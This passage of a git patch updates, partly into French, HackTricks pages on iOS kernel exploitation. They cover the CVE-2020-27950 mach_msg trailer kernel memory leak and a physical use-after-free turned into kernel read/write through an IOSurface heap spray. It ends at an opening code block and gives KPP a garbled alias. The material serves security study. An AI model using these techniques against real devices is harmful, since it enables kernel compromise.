From 66223ef9f484772a28212e3432f7d3012529e8aa Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:19:06 +0000 Subject: [PATCH] Translated ['src/blockchain/blockchain-and-crypto-currencies/defi-amm-ho --- src/SUMMARY.md | 5 +- .../CVE-2020-27950-mach_msg_trailer_t.md | 24 +- .../ios-physical-uaf-iosurface.md | 151 ++++++------ .../README.md | 164 ++++++------- .../defi-amm-hook-precision.md | 160 +++++++++++++ .../blockchain-and-crypto-currencies.md | 182 --------------- .../electron-desktop-apps/README.md | 215 +++++++++--------- 7 files changed, 442 insertions(+), 459 deletions(-) create mode 100644 src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md delete mode 100644 src/crypto-and-stego/blockchain-and-crypto-currencies.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a0c0a0bb7..9200053c6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -81,6 +81,7 @@ - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) + - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md) - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # đŸ§™â€â™‚ïž Generic Hacking @@ -769,7 +770,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) + - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -846,7 +847,6 @@ - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) - # đŸ€– AI - [AI Security](AI/README.md) - [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md) @@ -895,7 +895,6 @@ - [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md) - [Stego Tricks](crypto-and-stego/stego-tricks.md) - [Esoteric languages](crypto-and-stego/esoteric-languages.md) -- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md) # ✍ TODO diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md index 8c95ff088..3fe76d70c 100644 --- a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} -## The Bug +## La faille Vous avez une [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), mais en rĂ©sumĂ© : @@ -31,7 +31,7 @@ msg_labels_t msgh_labels; typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) ``` -Ensuite, lorsque l'objet trailer est gĂ©nĂ©rĂ©, seuls certains champs sont initialisĂ©s, et la taille maximale du trailer est toujours rĂ©servĂ©e : +Puis, lorsque l'objet trailer est gĂ©nĂ©rĂ©, seuls certains champs sont initialisĂ©s, et la taille maximale du trailer est toujours rĂ©servĂ©e : ```c trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); trailer->msgh_sender = current_thread()->task->sec_token; @@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; [...] trailer->msgh_labels.sender = 0; ``` -Puis, par exemple, lorsqu'on tente de lire un mach message en utilisant `mach_msg()`, la fonction `ipc_kmsg_add_trailer()` est appelĂ©e pour ajouter le trailer au message. À l'intĂ©rieur de cette fonction, la taille du trailer est calculĂ©e et certains autres champs du trailer sont remplis : +Par exemple, lorsqu'on tente de lire un mach message en utilisant `mach_msg()`, la fonction `ipc_kmsg_add_trailer()` est appelĂ©e pour ajouter le trailer au message. À l'intĂ©rieur de cette fonction, la taille du trailer est calculĂ©e et certains autres champs du trailer sont remplis : ```c if (!(option & MACH_RCV_TRAILER_MASK)) { [3] return trailer->msgh_trailer_size; @@ -51,9 +51,9 @@ trailer->msgh_seqno = seqno; trailer->msgh_context = context; trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); ``` -Le paramĂštre `option` est contrĂŽlĂ© par l'utilisateur, donc **il est nĂ©cessaire de fournir une valeur qui satisfait la condition `if`.** +Le paramĂštre `option` est user-controlled, donc **il est nĂ©cessaire de fournir une valeur qui satisfait le `if` check.** -Pour passer cette vĂ©rification, nous devons envoyer un `option` pris en charge valide : +Pour passer cette vĂ©rification, nous devons envoyer un `option` valide et pris en charge : ```c #define MACH_RCV_TRAILER_NULL 0 #define MACH_RCV_TRAILER_SEQNO 1 @@ -67,7 +67,7 @@ Pour passer cette vĂ©rification, nous devons envoyer un `option` pris en charge #define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) #define MACH_RCV_TRAILER_MASK ((0xf << 24)) ``` -Mais, puisque `MACH_RCV_TRAILER_MASK` ne fait que vĂ©rifier des bits, nous pouvons passer n'importe quelle valeur entre `0` et `8` pour ne pas entrer dans le `if`. +Mais, parce que le `MACH_RCV_TRAILER_MASK` vĂ©rifie simplement des bits, nous pouvons passer n'importe quelle valeur entre `0` et `8` pour ne pas entrer dans l'instruction `if`. Ensuite, en continuant avec le code, vous pouvez trouver : ```c @@ -92,19 +92,19 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); return trailer->msgh_trailer_size; ``` -Comme on peut le voir, si `option` est supĂ©rieur ou Ă©gal Ă  `MACH_RCV_TRAILER_AV` (7), le champ **`msgh_ad`** est initialisĂ© Ă  `0`. +On peut voir que si `option` est supĂ©rieur ou Ă©gal Ă  `MACH_RCV_TRAILER_AV` (7), le champ **`msgh_ad`** est initialisĂ© Ă  `0`. -Si vous avez remarquĂ©, **`msgh_ad`** Ă©tait encore le seul champ du trailer qui n'Ă©tait pas initialisĂ© auparavant et qui pouvait contenir un leak provenant d'une mĂ©moire prĂ©cĂ©demment utilisĂ©e. +Si vous avez remarquĂ©, **`msgh_ad`** Ă©tait encore le seul champ du trailer qui n'avait pas Ă©tĂ© initialisĂ© auparavant et qui pouvait contenir un leak provenant d'une mĂ©moire utilisĂ©e prĂ©cĂ©demment. -Donc, pour Ă©viter de l'initialiser, il suffit de passer une valeur `option` Ă©gale Ă  `5` ou `6`, ainsi elle passe le premier test `if` et n'entre pas dans l'`if` qui initialise `msgh_ad`, parce que les valeurs `5` et `6` n'ont aucun type de trailer associĂ©. +Donc, pour Ă©viter de l'initialiser, il faut passer une valeur `option` Ă©gale Ă  `5` ou `6`, de sorte qu'elle passe le premier test `if` et n'entre pas dans le `if` qui initialise `msgh_ad`, car les valeurs `5` et `6` n'ont aucun type de trailer associĂ©. ### PoC basique -Dans le [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), il y a un PoC pour simplement leak quelques donnĂ©es alĂ©atoires. +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), vous avez un PoC pour simplement leak des donnĂ©es alĂ©atoires. -### PoC pour leak d'une adresse kernel +### PoC pour leak d'adresse kernel -Dans le [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), il y a un PoC pour leak une adresse kernel. Pour cela, un message rempli de structures `mach_msg_port_descriptor_t` est envoyĂ© car le champ `name` de cette structure en userland contient un unsigned int alors qu'en kernel le champ `name` est un pointeur vers la structure `ipc_port`. Par consĂ©quent, envoyer des dizaines de ces structures dans le message cĂŽtĂ© kernel revient Ă  **ajouter plusieurs adresses kernel Ă  l'intĂ©rieur du message** afin que l'une d'elles puisse ĂȘtre leakĂ©e. +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), vous avez un PoC pour leak une adresse kernel. Pour cela, un message rempli de structures `mach_msg_port_descriptor_t` est envoyĂ© dans le message car le champ `name` de cette structure en userland contient un unsigned int mais en kernel le champ `name` est un pointeur vers une struct `ipc_port` en kernel. Par consĂ©quent, envoyer des dizaines de ces structs dans le message cĂŽtĂ© kernel revient Ă  **ajouter plusieurs adresses kernel Ă  l'intĂ©rieur du message** afin que l'une d'elles puisse ĂȘtre leakĂ©e. Des commentaires ont Ă©tĂ© ajoutĂ©s pour une meilleure comprĂ©hension : ```c diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index a8ba8af3a..4b524b8b0 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -3,109 +3,108 @@ {{#include ../../banners/hacktricks-training.md}} -## AttĂ©nuations des exploits iOS +## iOS Exploit Mitigations - **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. - **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. -- **Data Execution Prevention (DEP)** marque des rĂ©gions mĂ©moire comme non-exĂ©cutables Ă  moins qu'elles ne contiennent explicitement du code. Cela empĂȘche les attaquants d'injecter du shellcode dans des rĂ©gions de donnĂ©es (comme la stack ou le heap) et de l'exĂ©cuter, les forçant Ă  recourir Ă  des techniques plus complexes comme ROP (Return-Oriented Programming). -- **ASLR (Address Space Layout Randomization)** randomise les adresses mĂ©moire du code, des bibliothĂšques, de la stack et du heap Ă  chaque dĂ©marrage. Cela rend beaucoup plus difficile pour un attaquant de prĂ©dire oĂč se trouvent des instructions ou gadgets utiles, cassant de nombreuses chaĂźnes d'exploit qui dĂ©pendent de dispositions mĂ©moire fixes. -- **KASLR (Kernel ASLR)** applique le mĂȘme concept de randomisation au kernel iOS. En dĂ©plaçant l'adresse de base du kernel Ă  chaque boot, il empĂȘche les attaquants de localiser de maniĂšre fiable les fonctions ou structures du kernel, augmentant la difficultĂ© des exploits au niveau kernel qui chercheraient Ă  obtenir un contrĂŽle complet du systĂšme. -- **Kernel Patch Protection (KPP)** aussi connu sous le nom **AMCC (Apple Mobile File Integrity)** dans iOS, surveille en continu les pages de code du kernel pour s'assurer qu'elles n'ont pas Ă©tĂ© modifiĂ©es. Si toute altĂ©ration est dĂ©tectĂ©e — comme un exploit tentant de patcher des fonctions du kernel ou d'insĂ©rer du code malveillant — l'appareil panique et redĂ©marre immĂ©diatement. Cette protection rend les exploits persistants du kernel beaucoup plus difficiles, car les attaquants ne peuvent pas simplement hooker ou patcher les instructions du kernel sans provoquer un crash systĂšme. -- **Kernel Text Readonly Region (KTRR)** est une fonctionnalitĂ© matĂ©rielle introduite sur les appareils iOS. Elle utilise le contrĂŽleur mĂ©moire du CPU pour marquer la section code (text) du kernel comme dĂ©finitivement en lecture seule aprĂšs le boot. Une fois verrouillĂ©e, mĂȘme le kernel lui-mĂȘme ne peut pas modifier cette rĂ©gion mĂ©moire. Cela empĂȘche les attaquants — et mĂȘme le code privilĂ©giĂ© — de patcher les instructions du kernel Ă  l'exĂ©cution, fermant une grande classe d'exploits qui reposaient sur la modification directe du code du kernel. -- **Pointer Authentication Codes (PAC)** utilisent des signatures cryptographiques intĂ©grĂ©es dans des bits inutilisĂ©s des pointeurs pour vĂ©rifier leur intĂ©gritĂ© avant utilisation. Lorsqu'un pointeur (comme une adresse de retour ou un pointeur de fonction) est créé, le CPU le signe avec une clĂ© secrĂšte ; avant la dĂ©rĂ©fĂ©rence, le CPU vĂ©rifie la signature. Si le pointeur a Ă©tĂ© altĂ©rĂ©, la vĂ©rification Ă©choue et l'exĂ©cution s'arrĂȘte. Cela empĂȘche les attaquants de forger ou rĂ©utiliser des pointeurs corrompus dans des exploits de corruption mĂ©moire, rendant des techniques comme ROP ou JOP beaucoup plus difficiles Ă  mettre en Ɠuvre de façon fiable. -- **Privilege Access never (PAN)** est une fonctionnalitĂ© matĂ©rielle qui empĂȘche le kernel (mode privilĂ©giĂ©) d'accĂ©der directement Ă  la mĂ©moire user-space Ă  moins d'activer explicitement l'accĂšs. Cela stoppe les attaquants ayant obtenu une exĂ©cution de code kernel d'accĂ©der facilement Ă  la mĂ©moire utilisateur pour escalader des privilĂšges ou voler des donnĂ©es sensibles. En faisant respecter une sĂ©paration stricte, PAN rĂ©duit l'impact des exploits kernel et bloque de nombreuses techniques d'escalade de privilĂšges courantes. -- **Page Protection Layer (PPL)** est un mĂ©canisme de sĂ©curitĂ© iOS qui protĂšge des rĂ©gions critiques de la mĂ©moire gĂ©rĂ©es par le kernel, en particulier celles liĂ©es au code signing et aux entitlements. Il applique des protections strictes en Ă©criture via la MMU (Memory Management Unit) et des contrĂŽles supplĂ©mentaires, garantissant que mĂȘme du code kernel privilĂ©giĂ© ne peut modifier arbitrairement des pages sensibles. Cela empĂȘche les attaquants ayant obtenu une exĂ©cution au niveau kernel de manipuler des structures critiques pour la sĂ©curitĂ©, rendant la persistance et les contournements de code signing significativement plus difficiles. - +- **Data Execution Prevention (DEP)** marque des rĂ©gions mĂ©moire comme non-exĂ©cutables sauf si elles contiennent explicitement du code. Cela empĂȘche les attaquants d’injecter du shellcode dans des rĂ©gions de donnĂ©es (comme la stack ou le heap) et de l’exĂ©cuter, les forçant Ă  utiliser des techniques plus complexes comme ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomise les adresses mĂ©moire du code, des bibliothĂšques, de la stack et du heap Ă  chaque exĂ©cution du systĂšme. Cela complique Ă©normĂ©ment la prĂ©diction de l’emplacement d’instructions ou de gadgets utiles, brisant de nombreuses chaĂźnes d’exploit qui dĂ©pendent d’un layout mĂ©moire fixe. +- **KASLR (Kernel ASLR)** applique le mĂȘme concept de randomisation au kernel iOS. En dĂ©plaçant l’adresse de base du kernel Ă  chaque boot, il empĂȘche les attaquants de localiser de maniĂšre fiable les fonctions ou structures du kernel, augmentant la difficultĂ© des exploits au niveau kernel visant Ă  prendre le contrĂŽle total du systĂšme. +- **Kernel Patch Protection (KPP)**, aussi connu sous le nom **AMCC (Apple Mobile File Integrity)** sur iOS, surveille en continu les pages de code du kernel pour s’assurer qu’elles n’ont pas Ă©tĂ© modifiĂ©es. Si une altĂ©ration est dĂ©tectĂ©e — par exemple un exploit tentant de patcher des fonctions du kernel ou d’insĂ©rer du code malveillant — l’appareil va paniquer et redĂ©marrer immĂ©diatement. Cette protection rend les exploits persistants du kernel beaucoup plus difficiles, car les attaquants ne peuvent pas hooker ou patcher les instructions du kernel sans provoquer un crash systĂšme. +- **Kernel Text Readonly Region (KTRR)** est une fonctionnalitĂ© matĂ©rielle introduite sur les appareils iOS. Elle utilise le contrĂŽleur mĂ©moire du CPU pour marquer la section code (text) du kernel comme dĂ©finitivement en lecture seule aprĂšs le boot. Une fois verrouillĂ©e, mĂȘme le kernel lui‑mĂȘme ne peut pas modifier cette rĂ©gion mĂ©moire. Cela empĂȘche les attaquants — et mĂȘme du code privilĂ©giĂ© — de patcher les instructions du kernel Ă  l’exĂ©cution, fermant une grande classe d’exploits qui dĂ©pendaient de la modification directe du code kernel. +- **Pointer Authentication Codes (PAC)** utilisent des signatures cryptographiques intĂ©grĂ©es dans des bits inutilisĂ©s des pointeurs pour vĂ©rifier leur intĂ©gritĂ© avant utilisation. Lorsqu’un pointeur (comme une adresse de retour ou un function pointer) est créé, le CPU le signe avec une clĂ© secrĂšte ; avant la dĂ©rĂ©fĂ©rence, le CPU vĂ©rifie la signature. Si le pointeur a Ă©tĂ© altĂ©rĂ©, la vĂ©rification Ă©choue et l’exĂ©cution s’arrĂȘte. Cela empĂȘche les attaquants de forger ou de rĂ©utiliser des pointeurs corrompus dans des exploits de corruption mĂ©moire, rendant des techniques comme ROP ou JOP beaucoup plus difficiles Ă  rĂ©aliser de maniĂšre fiable. +- **Privilege Access never (PAN)** est une fonctionnalitĂ© matĂ©rielle qui empĂȘche le kernel (mode privilĂ©giĂ©) d’accĂ©der directement Ă  la mĂ©moire user-space Ă  moins d’activer explicitement cet accĂšs. Cela stoppe les attaquants qui ont obtenu l’exĂ©cution de code kernel de lire ou d’écrire facilement la mĂ©moire utilisateur pour escalader des privilĂšges ou voler des donnĂ©es sensibles. En imposant une sĂ©paration stricte, PAN rĂ©duit l’impact des exploits kernel et bloque de nombreuses techniques courantes d’escalade de privilĂšges. +- **Page Protection Layer (PPL)** est un mĂ©canisme de sĂ©curitĂ© iOS qui protĂšge des rĂ©gions mĂ©moire critiques gĂ©rĂ©es par le kernel, en particulier celles liĂ©es au code signing et aux entitlements. Il impose des protections d’écriture strictes en utilisant la MMU (Memory Management Unit) et des vĂ©rifications additionnelles, garantissant que mĂȘme du code kernel privilĂ©giĂ© ne peut pas modifier arbitrairement des pages sensibles. Cela empĂȘche les attaquants ayant obtenu l’exĂ©cution au niveau kernel de manipuler des structures critiques de sĂ©curitĂ©, rendant la persistance et les contournements de code signing significativement plus difficiles. ## Physical use-after-free -Ceci est un rĂ©sumĂ© du post disponible sur [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). De plus, des informations complĂ©mentaires sur des exploits utilisant cette technique peuvent ĂȘtre trouvĂ©es sur [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Ceci est un rĂ©sumĂ© du post disponible sur [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) ; plus d’informations sur des exploits utilisant cette technique se trouvent Ă©galement sur [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Memory management in XNU -L'**espace d'adressage mĂ©moire virtuelle** pour les processus utilisateur sur iOS s'Ă©tend de **0x0 Ă  0x8000000000**. Cependant, ces adresses ne correspondent pas directement Ă  la mĂ©moire physique. À la place, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en adresses **physiques** rĂ©elles. +The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. -#### Niveaux des tables de pages dans iOS +#### Levels of Page Tables in iOS -Les tables de pages sont organisĂ©es hiĂ©rarchiquement en trois niveaux : +Page tables are organized hierarchically in three levels: -1. **L1 Page Table (Level 1)** : -* Chaque entrĂ©e ici reprĂ©sente une large plage de mĂ©moire virtuelle. -* Elle couvre **0x1000000000 bytes** (ou **256 GB**) de mĂ©moire virtuelle. -2. **L2 Page Table (Level 2)** : -* Une entrĂ©e ici reprĂ©sente une rĂ©gion plus petite de mĂ©moire virtuelle, spĂ©cifiquement **0x2000000 bytes** (32 MB). -* Une entrĂ©e L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la rĂ©gion elle-mĂȘme. -3. **L3 Page Table (Level 3)** : -* C'est le niveau le plus fin, oĂč chaque entrĂ©e mappe une seule page mĂ©moire de **4 KB**. -* Une entrĂ©e L2 peut pointer vers une table L3 si un contrĂŽle plus granulaire est nĂ©cessaire. +1. **L1 Page Table (Level 1)**: +* Each entry here represents a large range of virtual memory. +* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. +2. **L2 Page Table (Level 2)**: +* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). +* An L1 entry may point to an L2 table if it can't map the entire region itself. +3. **L3 Page Table (Level 3)**: +* This is the finest level, where each entry maps a single **4 KB** memory page. +* An L2 entry may point to an L3 table if more granular control is needed. -#### Mappage de la mĂ©moire virtuelle vers la mĂ©moire physique +#### Mapping Virtual to Physical Memory -* **Direct Mapping (Block Mapping)** : -* Certaines entrĂ©es d'une table de pages mappent directement une plage d'adresses virtuelles vers une plage contiguĂ« d'adresses physiques (comme un raccourci). -* **Pointer to Child Page Table** : -* Si un contrĂŽle plus fin est nĂ©cessaire, une entrĂ©e Ă  un niveau (par ex. L1) peut pointer vers une **table de pages enfant** au niveau suivant (par ex. L2). +* **Direct Mapping (Block Mapping)**: +* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). +* **Pointer to Child Page Table**: +* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). -#### Exemple : Mappage d'une adresse virtuelle +#### Example: Mapping a Virtual Address -Supposons que vous essayez d'accĂ©der Ă  l'adresse virtuelle **0x1000000000** : +Let’s say you try to access the virtual address **0x1000000000**: -1. **L1 Table** : -* Le noyau vĂ©rifie l'entrĂ©e de la table L1 correspondant Ă  cette adresse virtuelle. Si elle contient un **pointeur vers une table L2**, il se rend dans cette table L2. -2. **L2 Table** : -* Le noyau vĂ©rifie la table L2 pour un mappage plus dĂ©taillĂ©. Si cette entrĂ©e pointe vers une **table L3**, il poursuit dans cette table. -3. **L3 Table** : -* Le noyau consulte l'entrĂ©e finale L3, qui pointe vers l'**adresse physique** de la page mĂ©moire rĂ©elle. +1. **L1 Table**: +* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. +2. **L2 Table**: +* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. +3. **L3 Table**: +* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. -#### Exemple de mappage d'adresses +#### Example of Address Mapping -Si vous Ă©crivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors : +If you write the physical address **0x800004000** into the first index of the L2 table, then: -* Les adresses virtuelles de **0x1000000000** Ă  **0x1002000000** se mappent vers les adresses physiques de **0x800004000** Ă  **0x802004000**. -* C'est un **block mapping** au niveau L2. +* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. +* This is a **block mapping** at the L2 level. -Alternativement, si l'entrĂ©e L2 pointe vers une table L3 : +Alternatively, if the L2 entry points to an L3 table: -* Chaque page de 4 KB dans la plage virtuelle **0x1000000000 -> 0x1002000000** serait mappĂ©e par des entrĂ©es individuelles dans la table L3. +* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. ### Physical use-after-free -Un **physical use-after-free** (UAF) se produit lorsque : +A **physical use-after-free** (UAF) occurs when: -1. Un processus **alloue** de la mĂ©moire en lecture/Ă©criture. -2. Les **tables de pages** sont mises Ă  jour pour mapper cette mĂ©moire Ă  une adresse physique spĂ©cifique que le processus peut accĂ©der. -3. Le processus **dĂ©salloue** (libĂšre) la mĂ©moire. -4. Cependant, Ă  cause d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, mĂȘme s'il marque la mĂ©moire physique correspondante comme libre. -5. Le noyau peut alors **rĂ©allouer cette mĂ©moire physique "libĂ©rĂ©e"** Ă  d'autres fins, par exemple pour des **donnĂ©es du kernel**. -6. Comme le mapping n'a pas Ă©tĂ© supprimĂ©, le processus peut toujours **lire et Ă©crire** dans cette mĂ©moire physique. +1. A process **allocates** some memory as **readable and writable**. +2. The **page tables** are updated to map this memory to a specific physical address that the process can access. +3. The process **deallocates** (frees) the memory. +4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. +5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. +6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. -Cela signifie que le processus peut accĂ©der Ă  des **pages de la mĂ©moire du kernel**, qui peuvent contenir des donnĂ©es ou structures sensibles, permettant potentiellement Ă  un attaquant de **manipuler la mĂ©moire du kernel**. +This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. ### IOSurface Heap Spray -Puisque l'attaquant ne peut pas contrĂŽler quelles pages kernel spĂ©cifiques seront allouĂ©es Ă  la mĂ©moire libĂ©rĂ©e, il utilise une technique appelĂ©e **heap spray** : +Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: -1. L'attaquant **crĂ©e un grand nombre d'objets IOSurface** dans la mĂ©moire kernel. -2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui facilite son identification. -3. Il **scanne les pages libĂ©rĂ©es** pour voir si l'un de ces objets IOSurface a atterri sur une page libĂ©rĂ©e. -4. Lorsqu'il trouve un objet IOSurface sur une page libĂ©rĂ©e, il peut l'utiliser pour **lire et Ă©crire la mĂ©moire du kernel**. +1. The attacker **creates a large number of IOSurface objects** in kernel memory. +2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. +3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. +4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. -Plus d'infos Ă  ce sujet sur [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) > [!TIP] -> Sachez que les appareils iOS 16+ (A12+) apportent des mitigations matĂ©rielles (comme PPL ou SPTM) qui rendent les techniques de physical UAF bien moins viables. -> PPL applique des protections MMU strictes sur les pages liĂ©es au code signing, aux entitlements et aux donnĂ©es sensibles du kernel, donc mĂȘme si une page est rĂ©utilisĂ©e, les Ă©critures depuis l'userland ou du code kernel compromis vers des pages protĂ©gĂ©es par PPL sont bloquĂ©es. -> Secure Page Table Monitor (SPTM) Ă©tend PPL en renforçant les mises Ă  jour des tables de pages elles-mĂȘmes. Il garantit que mĂȘme le code kernel privilĂ©giĂ© ne peut pas remapper silencieusement des pages libĂ©rĂ©es ou altĂ©rer des mappings sans passer par des contrĂŽles sĂ©curisĂ©s. -> KTRR (Kernel Text Read-Only Region), qui verrouille la section code du kernel en lecture seule aprĂšs le boot. Cela empĂȘche toute modification Ă  l'exĂ©cution du code du kernel, fermant un vecteur d'attaque majeur sur lequel les exploits de physical UAF s'appuyaient souvent. -> De plus, les allocations `IOSurface` sont moins prĂ©visibles et plus difficiles Ă  mapper dans des rĂ©gions accessibles par l'utilisateur, ce qui rend la technique de scan de "valeur magique" beaucoup moins fiable. Et `IOSurface` est dĂ©sormais protĂ©gĂ©e par des entitlements et des restrictions de sandbox. +> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. +> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. +> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. +> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. +> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions. -### Processus de Heap Spray Ă©tape par Ă©tape +### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects** : L'attaquant crĂ©e de nombreux objets IOSurface avec un identifiant spĂ©cial ("valeur magique"). -2. **Scan Freed Pages** : Il vĂ©rifie si l'un des objets a Ă©tĂ© allouĂ© sur une page libĂ©rĂ©e. -3. **Read/Write Kernel Memory** : En manipulant des champs de l'objet IOSurface, il obtient la capacitĂ© d'effectuer des **lectures et Ă©critures arbitraires** dans la mĂ©moire du kernel. Cela lui permet de : -* Utiliser un champ pour **lire n'importe quelle valeur 32-bit** dans la mĂ©moire du kernel. -* Utiliser un autre champ pour **Ă©crire des valeurs 64-bit**, obtenant un primitive stable de **kernel read/write**. +1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). +2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. +3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: +* Use one field to **read any 32-bit value** in kernel memory. +* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: ```c 